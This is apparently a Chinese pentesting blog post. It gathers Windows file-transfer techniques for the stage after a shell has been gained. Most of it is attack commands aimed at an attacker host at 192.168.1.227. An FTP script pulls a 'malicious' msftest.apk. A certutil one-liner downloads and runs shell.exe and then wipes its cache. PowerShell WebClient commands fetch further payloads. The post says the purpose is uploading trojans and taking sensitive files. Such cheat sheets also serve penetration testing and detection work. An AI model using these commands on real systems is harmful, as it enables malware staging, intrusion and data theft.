FTP

攻击机:

python快速开启ftp服务器

1
2
pip3 install pyftpdlib
python3 -m pyftpdlib

image-20230602193643551

目标机:

用控制台写入一个ftp.txt文件,使用匿名登录anonymous到攻击机的ftp服务,从攻击机上下载恶意文件msftest.apk

1
2
3
4
5
6
copy con ftp.txt 
open 192.168.1.227 2121
anonymous
anonymous
get msftest.apk
quit

image-20230602195727154

保存为ftp.txt文件:

1
ftp -i -s:ftp.txt

image-20230602195704765

Certutil

下载并执行

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe shell.exe&shell.exe

清除下载缓存

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe delete

缓存目录:

1
%USERPROFILE%\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content

Powershell

创建下载对象

1
2
$p = new-object system.net.webclient
$p.downloadfile("http://x.xx.xx.x/file","c:vxx/x/file")

完整命令示例

1
2
3
4
5
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('http://192.168.1.227/s.txt','s.txt\')"

powershell (new-object system.net.webclient).downloadfile('http://192.168.1.227/s.txt','s.txt\')

powershell Invoke-WebRequest -uri " http://192.168.1.227/s.txt " -OutFile "$env:temp\s.php"

SCP

文件上传

  • file.txt为要上传的文件名
  • username为您的用户名
  • remote_host为远程主机名或IP地址
  • /remote_directory/为要将文件上传到的远程目录路径
1
scp file.txt username@remote_host:/remote_directory/

文件下载

  • username为您的用户名
  • remote_host为远程主机名或IP地址
  • /remote_directory/file.txt为下载的远程文件路径
1
scp username@remote_host:/remote_directory/file.txt .

总结

这里列举了几种Windows下常见的文件上传和下载方式,主要用来在获取shell后进行进一步的上传木马文件或者下载敏感文件。

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally